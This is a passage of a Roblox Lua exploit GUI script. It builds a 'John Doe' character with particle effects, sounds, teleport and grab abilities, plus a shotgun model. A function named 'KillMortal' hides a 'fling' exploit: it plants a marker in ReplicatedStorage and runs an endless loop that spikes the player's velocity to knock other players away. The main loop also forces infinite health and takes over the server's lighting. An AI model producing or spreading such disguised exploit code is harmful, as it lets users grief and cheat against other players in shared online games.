CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.300596, 1.71419013, -0.153122023, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(0.400015235, 0.400005817, 7.39097595e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.69322205, 1.81620288, 0.650299072, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-0.400013447, 0.500005245, 0.400009155, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.69684124, 1.71498096, 0.250625998, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-1.63316727e-005, 0.400005937, 0.400005102, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
ScatterEff(EffCorruptedPart)
sa = RightArm:GetChildren()
for i = 1, #sa do
ScatterEff(sa[i])
end
local eff1 = Instance.new("ParticleEmitter",EyeFire)
eff1.Size = NumberSequence.new(.1)
eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff1.LightEmission = 1
eff1.Lifetime = NumberRange.new(.5)
eff1.Speed = NumberRange.new(1)
eff1.EmissionDirection = "Front"
eff1.Rate = 100
eff1.Texture = "rbxassetid://347504241"
eff1.Acceleration = Vector3.new(0,10,0)
eff1.Color = ColorSequence.new(Color3.new(1,0,0))
local eff2 = Instance.new("ParticleEmitter",EyeFire)
eff2.Size = NumberSequence.new(.1)
eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff2.LightEmission = 1
eff2.Lifetime = NumberRange.new(.5)
eff2.Speed = NumberRange.new(1)
eff2.EmissionDirection = "Front"
eff2.Rate = 100
eff2.Texture = "rbxassetid://347504259"
eff2.Acceleration = Vector3.new(0,10,0)
eff2.Color = ColorSequence.new(Color3.new(1,0,0))
local eff3 = Instance.new("ParticleEmitter",EyeFire)
eff3.Size = NumberSequence.new(.1)
eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
eff3.LightEmission = 1
eff3.Lifetime = NumberRange.new(.5)
eff3.Speed = NumberRange.new(1)
eff3.EmissionDirection = "Front"
eff3.Rate = 100
eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
eff3.Acceleration = Vector3.new(0,10,0)
eff3.Color = ColorSequence.new(Color3.new(1,0,0))
--Sounds--
slashsnd = New("Sound",chara.Torso,"Slash",{SoundId = "rbxassetid://28144425",PlaybackSpeed = .7,Volume = 5})
hitsnd = New("Sound",chara.Torso,"Hit",{SoundId = "rbxassetid://429400881",PlaybackSpeed = .7,Volume = 5})
telesnd = New("Sound",chara.Torso,"Tele",{SoundId = "rbxassetid://2767090",PlaybackSpeed = .7,Volume = 5})
burnsnd = New("Sound",chara.Torso,"Burn",{SoundId = "rbxassetid://32791565",PlaybackSpeed = .7,Volume = 5})
music1 = New("Sound",chara.Torso,"Music1",{SoundId = "rbxassetid://151038517",PlaybackSpeed = .5,Volume = 10,Looped = true})
music2 = New("Sound",chara.Torso,"Music2",{SoundId = "rbxassetid://11984351",PlaybackSpeed = .2,Volume = 5,Looped = true})
deathmus = New("Sound",chara.Torso,"DeathMus",{SoundId = "rbxassetid://19094700",PlaybackSpeed = .5,Volume = 5,Looped = true})
deathex = New("Sound",chara.Torso,"DeathEx",{SoundId = "rbxassetid://11984351",PlaybackSpeed = 1,Volume = 5})
music1:Play()
music2:Play()
--Animations--
swinganim = chara.Humanoid:LoadAnimation(New("Animation",chara,"Swing",{AnimationId = "rbxassetid://186934658"}))
--Name Tag--
local naeeym = Instance.new("BillboardGui",chara)
naeeym.Size = UDim2.new(0,100,0,40)
naeeym.StudsOffset = Vector3.new(0,2,0)
naeeym.Adornee = chara.Head
local tecks = Instance.new("TextLabel",naeeym)
tecks.BackgroundTransparency = 1
tecks.BorderSizePixel = 0
tecks.Text = "John Doe"
tecks.Font = "Fantasy"
tecks.FontSize = "Size24"
tecks.TextStrokeTransparency = 0
tecks.TextStrokeColor3 = Color3.new(0,0,0)
tecks.TextColor3 = Color3.new(0,0,0)
tecks.Size = UDim2.new(1,0,0.5,0)
--Skybox--
skybox = Instance.new("Part",chara)
skybox.Size = Vector3.new(0,0,0)
skybox.Anchored = true
skybox.CanCollide = true
skyboxmesh = Instance.new("SpecialMesh",skybox)
skyboxmesh.MeshId = "http://www.roblox.com/asset/?id=1527559"
skyboxmesh.TextureId = "http://www.roblox.com/asset/?id=1529455"
skyboxmesh.VertexColor = Vector3.new(1,0,0)
skyboxmesh.Scale = Vector3.new(-3000,-1000,-3000)
--Soul Steal--
function SoulSteal(pos)
local soulst = coroutine.wrap(function()
local soul = Instance.new("Part",chara)
soul.Size = Vector3.new(0,0,0)
soul.CanCollide = false
soul.Anchored = false
soul.Position = pos
soul.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
soul.Transparency = 1
local ptc = Instance.new("ParticleEmitter",soul)
ptc.Texture = "http://www.roblox.com/asset/?id=413366101"
ptc.Size = NumberSequence.new(.5)
ptc.LockedToPart = true
ptc.Speed = NumberRange.new(0)
ptc.Lifetime = NumberRange.new(9999)
local bodpos = Instance.new("BodyPosition",soul)
bodpos.Position = pos
wait(2)
soul.Touched:connect(function(hit)
if hit.Parent == chara then
soul:Destroy()
end
end)
while soul do
wait(.1)
bodpos.Position = chara.Torso.Position
end
end)
soulst()
end
--Death of a Mortal--
function KillMortal(hitdude)
---------------------------------------------------------------------------------
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
wait(2)
hiddenfling = false
end
--Arm Touch--
bladeactive = false
Hitbox.Touched:connect(function(hit)
if bladeactive == true then
if hit.Parent:FindFirstChild("Humanoid")~= nil and hit.Parent:FindFirstChild("HasBeenHit")== nil and hit.Parent ~= chara then
hitsnd:Play()
KillMortal(hit.Parent)
end
end
end)
--Teleport--
function Teleport(pos)
telesnd:Play()
local ch = chara:GetChildren()
for i = 1, #ch do
if ch[i].ClassName == "Part" and ch[i].Name ~= "HumanoidRootPart" then
local trace = Instance.new("Part",game.Workspace)
trace.Size = ch[i].Size
trace.Material = "Neon"
trace.BrickColor = BrickColor.new("Really black")
trace.Transparency = .3
trace.CanCollide = false
trace.Anchored = true
trace.CFrame = ch[i].CFrame
if ch[i].Name == "Head" then
mehs = Instance.new("CylinderMesh",trace)
mehs.Scale = Vector3.new(1.25,1.25,1.25)
end
tracedisappear = coroutine.wrap(function()
wait(1)
for i = 1, 7 do
wait(.1)
trace.Transparency = trace.Transparency + .1
end
trace:Destroy()
end)
tracedisappear()
end
end
chara.Torso.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
end
--Grab--
function Grab(mouse)
local hit = mouse.Target
if hit ~= nil then
if hit.Parent:FindFirstChild("Humanoid")~=nil then
local torsy = nil
if hit.Parent:FindFirstChild("Torso")~=nil then
torsy = hit.Parent.Torso
elseif hit.Parent:FindFirstChild("UpperTorso")~=nil then
torsy = hit.Parent.UpperTorso
end
local bodpos = Instance.new("BodyPosition",torsy)
bodpos.Position = torsy.Position
wait(1)
burnsnd:Play()
hit.Parent.Humanoid.MaxHealth = 100
bodpos.Position = bodpos.Position + Vector3.new(0,4,0)
for i = 1, 10 do
wait(.1)
BurningEff(torsy)
hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health
end
KillMortal(hit.Parent)
end
else end
end
--Button1Down--
dell = false
function onButton1Down()
if dell == false then
dell = true
swinganim:Play()
bladeactive = true
slashsnd:Play()
wait(.7)
bladeactive = false
dell = false
swinganim:Stop()
end
end
--KeyDowns--
function onKeyDown(key)
if key == "z" then
Teleport(Mouse.Hit.p + Vector3.new(0,2,0))
elseif key == "x" then
Grab(Mouse)
end
end
--Mouse Functions--
Mouse = player:GetMouse()
if Mouse then
Mouse.Button1Down:connect(onButton1Down)
Mouse.KeyDown:connect(onKeyDown)
end
--Death--
chara.Humanoid.Died:connect(function()
local pat = Instance.new("Part",game.Workspace)
pat.Transparency = 1
pat.Anchored = true
pat.CFrame = chara.Torso.CFrame
naeeym.Parent = pat
naeeym.Adornee = pat
skybox.Parent = game.Workspace
tecks.Text = "BAD CHOICE"
tecks.FontSize = "Size48"
tecks.TextColor3 = Color3.new(1,0,0)
music1:Stop()
music2:Stop()
deathmus.Parent = game.Workspace
deathex.Parent = game.Workspace
deathmus:Play()
deathex:Play()
game.Lighting.OutdoorAmbient = Color3.new(0,0,0)
game.Lighting.TimeOfDay = "00:00:00"
game.Lighting.FogColor = Color3.new(0,0,0)
game.Lighting.FogEnd = 1000
end)
--Loop Function--
while true do
wait(.01)
chance = math.random(0,100)
if chance < 10 then
sel = math.random(1,3)
if sel == 1 then
tecks.Text = "NOHOPE"
elseif sel == 2 then
tecks.Text = "GIVEUP"
elseif sel == 3 then
tecks.Text = "BURNINHELL"
end
else tecks.Text = "John Doe"
end
if chara.Humanoid.Health > 0 then
chara.Humanoid.MaxHealth = math.huge
chara.Humanoid.Health = math.huge
game.Lighting.OutdoorAmbient = Color3.new(1,0,0)
game.Lighting.Ambient = Color3.new(1,0,0)
chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow")
chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow")
chara["Left Leg"].BrickColor = BrickColor.new("Medium blue")
chara["Right Leg"].BrickColor = BrickColor.new("Medium blue")
chara.Torso.BrickColor = BrickColor.new("Bright yellow")
chara["Left Arm"].Anchored = false
chara["Right Arm"].Anchored = false
chara["Left Leg"].Anchored = false
chara["Right Leg"].Anchored = false
chara.Torso.Anchored = false
ch = chara:GetChildren()
for i = 1, #ch do
if ch[i].ClassName == "Accessory" or ch[i].ClassName == "Hat" then
ch[i]:Destroy()
end
end
tools = player.Backpack:GetChildren()
for i = 1, #tools do
if tools[i].ClassName == "HopperBin" then
tools[i]:Destroy()
end
end
skybox.CFrame = skybox.CFrame * CFrame.fromEulerAnglesXYZ(0,math.rad(1),0)
tecks.Position = UDim2.new(0,math.random(-3,3),0,math.random(-3,3))
local jtrace = Instance.new("Part",game.Workspace)
jtrace.Name = "JDTrace"
jtrace.Size = Vector3.new(10,0,10)
jtrace.Position = chara.Torso.Position
jtrace.CFrame = chara.Torso.CFrame - Vector3.new(0,3,0)
jtrace.Anchored = true
jtrace.CanCollide = false
jtrace.BrickColor = BrickColor.new("Really black")
jtrace.Material = "Granite"
BurningEff(jtrace)
game.Debris:AddItem(jtrace,1)
end
end
end)
end;
task.spawn(C_93);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_95()
local script = G2L["95"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--[[Start Up]]--
Plr = game:service'Players'.LocalPlayer
Char = Plr.Character
Mouse = Plr:GetMouse()
head = Char.Head
Numb = 34
local sway = false
local spread = 25
Char.Humanoid.WalkSpeed = 25
game:service'UserInputService'.MouseIconEnabled = false
local CurA,StoA = 8,8*8
local RTilt = 0
local CurrentRightArmAngle = CFrame.new(0,0,0)
local CurrentLeftArmAngle = CFrame.new(0,0,0)
local CurCam = workspace.CurrentCamera
local CurCamCF = CurCam.CoordinateFrame
local MouseDown = false
local Mouse2Down = false
local CurAming = false
--[[Limbs and Extra Calls]]--
local Gui,Frame,Ammo,Stored,Mode,Slash,HitM = nil,nil,nil,nil,nil,nil,nil
local ra,la,ts,hd,ll,rl,root,humanoid = Char:FindFirstChild'Right Arm',Char:FindFirstChild'Left Arm',Char:FindFirstChild'Torso',Char:FindFirstChild'Head',Char:FindFirstChild'Left Leg',Char:FindFirstChild'Right Leg',Char:FindFirstChild'HumanoidRootPart',Char:FindFirstChild'Humanoid'
local rarm,larm,hed,torso,hroot,lleg,hum,rleg = ra,la,hd,ts,root,ll,humanoid,rl
local plr,char,mouse = Plr,Char,Mouse
local AbleToShoot,Reloading = true,false
local Stance = 'Standing'
Weld = function(P0,P1,CF)
local W = Instance.new('Weld',P1)
W.Part0 = P0
W.Part1 = P1
W.C1 = CF
return W
end;
NewSound = function(Parent, Id)
local Sound = Instance.new('Sound',Parent)
Sound.SoundId = 'rbxassetid://'..Id
return Sound
end
rad = function(Int)
return math.rad(tonumber(Int))
end;
sin = function(Int)
return math.sin(tonumber(Int))
end;
cos = function(Int)
return math.cos(tonumber(Int))
end;
Angles = function(X,Y,Z)
return CFrame.Angles(X,Y,Z);
end;
Euler = function(X,Y,Z)
return CFrame.fromEulerAnglesXYZ(X,Y,Z);
end;
CF = function(X,Y,Z)
return CFrame.new(X,Y,Z);
end;
--[[
Used FM Remington cuz am lazeh, and because am shitty builder :]
]]--
New = function(Object, Parent, Name, Data)
local Object = Instance.new(Object)
if Object:IsA'Part' then
Object.Anchored = false
Object.CanCollide = false
Object.Locked = true
Object.TopSurface,Object.BottomSurface = 10,10
Object.RightSurface,Object.LeftSurface = 10,10
Object.FrontSurface,Object.BackSurface = 10,10
end
for Index, Value in pairs(Data or {}) do
Object[Index] = Value
end
Object.Parent = Parent
Object.Name = Name
return Object
end
Remington_Model = New("Model",Char,"Remington_Model",{})
Handle = New("Part",Remington_Model,"Handle",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 33.9850006, 237.936005, -0.999999285, -4.63094153e-007, 4.75211408e-008, -4.62646199e-007, 0.999957621, 0.00901973993, -5.16960341e-008, 0.00901967287, -0.999956906),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3590012, 238.377991, 0.999999642, -3.02357672e-009, 1.71927127e-007, 1.91533611e-009, 0.999978185, 0.00644560531, -1.71942887e-007, -0.00644563325, 0.999977827),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999999642, 1.91534322e-009, -1.71943029e-007, -3.02359804e-009, 0.99997896, -0.00644563884, 1.71927127e-007, 0.00644560996, 0.999978602),C1 = CFrame.new(0, 0.377971649, -0.438598633, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
GR = New("Part",Remington_Model,"GR",{BrickColor = BrickColor.new("Lime green"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.970001, 34.4070015, 238.164001, -2.55810937e-005, 0.99999541, 4.44010794e-007, 0.00644205138, -2.61311766e-006, 0.999974191, 0.999975204, 2.87519579e-005, -0.00644677132),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0, 1, 0),})
Mesh = New("BlockMesh",GR,"Mesh",{Scale = Vector3.new(0.0700000003, 0.0700000003, 0.0700000003),})
Fire = New("Fire",GR,"Fire",{Size = 30,Color = Color3.new(1, 0.678431, 0),Enabled = false,Heat = 25,SecondaryColor = Color3.new(1, 0, 0),})
mot = New("Motor",GR,"mot",{Part0 = GR,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -2.55811137e-005, 0.00644209515, 0.999978006, 0.999996126, -2.61312243e-006, 2.87520379e-005, 4.4401105e-007, 0.999976337, -0.00644675922),C1 = CFrame.new(0.0240020752, 0.424041748, -0.224182129, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Railing = New("Part",Remington_Model,"Railing",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(198.994003, 34.3609962, 238.606995, 0.999998927, -3.02360537e-009, 1.71926985e-007, 1.91531191e-009, 0.999976873, 0.00644556619, -1.7194256e-007, -0.00644565001, 0.999975801),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("SpecialMesh",Railing,"Mesh",{Scale = Vector3.new(0.114285715, 0.0285714287, 0.0571428575),MeshType = Enum.MeshType.Torso,})
mot = New("Motor",Railing,"mot",{Part0 = Railing,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999999642, 1.91534322e-009, -1.71943029e-007, -3.02359804e-009, 0.99997896, -0.00644563884, 1.71927127e-007, 0.00644560996, 0.999978602),C1 = CFrame.new(0, 0.382034302, -0.667572021, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
PumpPartMain = New("Part",Remington_Model,"PumpPartMain",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.234782606, 1.12173915, 0.234782606),CFrame = CFrame.new(199.001999, 34.0569954, 240.026001, 0.999999285, -1.42108547e-013, 3.94129174e-015, -5.27355937e-016, -0.000125713646, -0.999998391, 9.59232693e-014, 0.999997675, -0.00012565311),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",PumpPartMain,"Mesh",{Offset = Vector3.new(0, -0.100000001, 0),})
mot = New("Motor",PumpPartMain,"mot",{Part0 = PumpPartMain,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -1.22624187e-013, -0.000125683844, 1.00000048, 1.54548126e-017, -1.00000048, -0.000125683844),C1 = CFrame.new(-0.00799560547, 0.0908432007, -2.08926392, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
A7 = New("Part",Remington_Model,"A7",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.443478256, 0.200000003),CFrame = CFrame.new(198.947998, 34.269001, 238.50499, 0.999999285, -1.42108547e-013, 2.12885265e-014, -5.27355937e-016, 0.000126323663, -0.999998391, 9.59232693e-014, 0.999997675, 0.000126384199),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("CylinderMesh",A7,"Mesh",{Scale = Vector3.new(0.347826093, 1, 0.347826093),})
mot = New("Motor",A7,"mot",{Part0 = A7,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -6.61933336e-015, 1.2262412e-013, -1.22623333e-013, 0.000126354396, 1.00000048, -6.63487345e-015, -1.00000048, 0.000126354396),C1 = CFrame.new(0.046005249, 0.28911972, -0.56640625, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
Part = New("Part",Remington_Model,"Part",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.994003, 34.3569984, 238.17598, 0.999999285, 4.35450715e-008, -3.80975962e-009, -4.3577586e-008, 0.999956846, -0.00901973248, 3.41675488e-009, 0.00901966542, 0.999956131),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(0.611111104, 0.111111112, 0.166666672),})
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -4.35776464e-008, 3.41679218e-009, 4.35450644e-008, 0.999958932, 0.0090197213, -3.80973963e-009, -0.0090197213, 0.999958932),C1 = CFrame.new(0, 0.374149323, -0.236618042, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
A8 = New("Part",Remington_Model,"A8",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(198.912994, 34.2250023, 238.669998, -0.999999285, -1.45661261e-013, -2.66453526e-015, 5.27355937e-016, -0.000125684775, 0.999998152, -9.59232693e-014, 0.999997437, 0.000125624239),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",A8,"Mesh",{Scale = Vector3.new(0.0434782617, 0.565217376, 0.173913032),})
mot = New("Motor",A8,"mot",{Part0 = A8,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, -1.22624133e-013, -1.2262416e-013, -0.000125654042, 1.00000024, -1.54511581e-017, 1.00000024, 0.000125654042),C1 = CFrame.new(0.0810089111, 0.246612549, -0.731796265, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
PumpPart = New("Part",Remington_Model,"PumpPart",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.739130676, 0.200000003, 0.200000003),CFrame = CFrame.new(198.916992, 33.8669968, 239.969986, 1.6876038e-005, 0.499981523, -0.866035283, 6.33057207e-005, 0.866034031, 0.499980837, 0.999997139, -6.33145683e-005, -1.70664862e-005),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",PumpPart,"Mesh",{Offset = Vector3.new(-0.100000001, 0, 0),Scale = Vector3.new(1, 0.0434782617, 0.652174175),})
mot = New("Motor",PumpPart,"mot",{Part0 = PumpPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1.68760507e-005, 6.33350865e-005, 1, 0.49998188, 0.866035879, -6.32881711e-005, -0.866035879, 0.49998188, -1.70511285e-005),C1 = CFrame.new(0.0770111084, -0.0996513367, -2.03497314, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
PumpPart = New("Part",Remington_Model,"PumpPart",{BrickColor = BrickColor.new("Dark stone grey"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 1.1565218, 0.200000003),CFrame = CFrame.new(199.001999, 34.0480003, 240.035004, 0.999999285, -1.45661261e-013, 2.66453526e-015, -5.27355937e-016, -0.000125684775, -0.999998152, 9.59232693e-014, 0.999997437, -0.000125624239),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.388235, 0.372549, 0.384314),})
Mesh = New("CylinderMesh",PumpPart,"Mesh",{Offset = Vector3.new(0, -0.100000001, 0),Scale = Vector3.new(0.913043439, 1, 0.913043439),})
mot = New("Motor",PumpPart,"mot",{Part0 = PumpPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, 0, 1.22624133e-013, -1.2262416e-013, -0.000125654042, 1.00000024, 1.54511581e-017, -1.00000024, -0.000125654042),C1 = CFrame.new(-0.00799560547, 0.0819282532, -2.0983429, -1, -4.62646824e-007, -5.16961869e-008, -4.63094466e-007, 0.999958932, 0.0090197213, 4.75211479e-008, 0.0090197213, -0.999958932),})
A6 = New("Part",Remington_Model,"A6",{BrickColor = BrickColor.new("Black"),FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(0.200000003, 0.443478256, 0.200000003),CFrame = CFrame.new(198.917999, 34.2080002, 238.50499, -0.999999285, -1.42108547e-013, -6.07847106e-015, 5.27355937e-016, 6.32470474e-005, 0.999998093, -9.59232693e-014, 0.999997377, -6.33075833e-005),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = Color3.new(0.105882, 0.164706, 0.207843),})
Mesh = New("BlockMesh",A6,"Mesh",{Scale = Vector3.new(0.0434782617, 1, 0.608695626),})
